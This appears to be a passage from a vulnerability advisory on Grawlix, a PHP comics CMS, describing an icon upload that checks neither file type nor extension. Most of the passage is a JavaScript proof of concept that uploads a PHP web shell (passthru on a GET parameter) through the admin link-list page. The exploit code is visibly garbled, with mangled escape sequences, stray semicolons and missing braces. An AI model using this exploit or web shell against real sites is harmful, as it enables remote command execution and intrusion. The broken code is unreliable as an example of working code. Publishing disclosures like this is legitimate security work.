2. Overview


High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C


Grawlix is a CMS for publishing comics, which is written in PHP.

When uploading an image icon for a link, neither the file type nor the file
extension are checked, leading to code execution.

It should be noted that admin credentials are required to upload an icon, and
that because of a bug when uploading icons, the upload only works if Grawlix is
installed in the root directory.

3. Proof of Concept

function submitRequest()
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/_admin/site.link-list.php";, true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data;
xhr.withCredentials = true;
var body = "-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="input[title]"rn" +
"rn" +
"Site namern" +
"-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="input[url]"rn" +
"rn" +
"http://google.comrn"; +
"-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="icon_file"; filename="test.php"rn" +
"Content-Type: application/x-phprn" +
"rn" +
"x3c?php n" +
"passthru($_GET['x']);n" +
"rn" +
"-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="submit"rn" +
"rn" +
"savern" +
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
